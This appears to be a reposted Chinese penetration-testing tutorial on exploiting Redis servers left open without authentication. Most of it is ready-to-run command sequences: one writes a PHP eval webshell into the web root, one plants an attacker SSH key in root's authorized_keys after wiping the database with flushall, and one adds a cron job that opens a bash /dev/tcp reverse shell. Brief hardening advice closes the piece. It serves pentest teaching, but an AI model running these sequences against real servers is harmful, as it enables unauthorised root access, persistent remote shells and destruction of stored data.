渗透测试技巧之Redis漏洞利用总结 – 作者:碧海晴天

转载于公众号:hackctf

  1. 未授权访问

  2. 获取webshell

  3. 获取root

  4. 通过redis提权

  5. 其他的一些利用

  6. redis安全配置

测试环境 CentOS 6.5 x64

Redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set、zset(sorted set – 有序)和 hash(哈希类型)。

这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。

区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

默认安装redis,其中启动权限就为root。并且是任意ip可以未授权访问。

图片[1]-渗透测试技巧之Redis漏洞利用总结 – 作者:碧海晴天-安全小百科图片[2]-渗透测试技巧之Redis漏洞利用总结 – 作者:碧海晴天-安全小百科


获取webshell

条件:知道web绝对路径,redis运行的用户需要对web目录要有写的权限

http://10.211.55.10/phpinfo.php

然后通过客户端链接

redis-cli -h 10.211.55.10

config set dir /var/www/html/

set shell <?php eval($_REQUEST[\'syclover\'])?>

config set dbfilename syclover.php

save

exit

存在的问题,如果redis里面的数据量特别大并且前面存在<?php 之类的符号

先通过randomkey来查看键值之间的规律,然后可以将数据库备份下来,找到包含<?php 的键名,通过 keys *str*找到真正的键名,然后去修改这个键名。因为数据量很大所以备份的shell也很大,然后在生成shell的时候,可以设置不超时,并且在生成完成之后就退出。


获取root

victim server CentOS6.6+redis2.4  192.168.192.133

attack server CentOS6.6 192.168.192.132

先在attack server生成一个公钥

ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt

然后执行

redis-cli -h 192.168.192.133 flushall

cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn

登录redis redis-cli -h 192.168.192.133

CONFIG set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit

然后就可以使用ssh的私钥登录了

ssh -i redis.pub [email protected]

图片[3]-渗透测试技巧之Redis漏洞利用总结 – 作者:碧海晴天-安全小百科

缺点:flushall 太暴力直接清空数据库,覆盖authorized_keys,导致原有的认证失效。

通过redis提权

获取了一个webshell,但是权限很低,发现存在redis服务但是只能本地访问。然后通过上面的方法可以成功提权


其他玩法

redis+crontab

redis-cli config set dir /var/spool/cron/

redis-cli config set dbfilename root

echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8443 0>&1 \n\n"|redis-cli -x set 1

redis-cli save

nc -lvv 8443

redis安全配置

  1. 设置只对本机开放 bind 127.0.0.1

  2. 设置密码 requirepass tomato

  3. 修改默认端口 12345

  4. 低权限启动

  5. 如果需要对外提供服务的话,设置iptables规则

exploit-db上关于Redis的漏洞

图片[4]-渗透测试技巧之Redis漏洞利用总结 – 作者:碧海晴天-安全小百科

来源:freebuf.com 2020-09-01 14:43:16 by: 碧海晴天

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论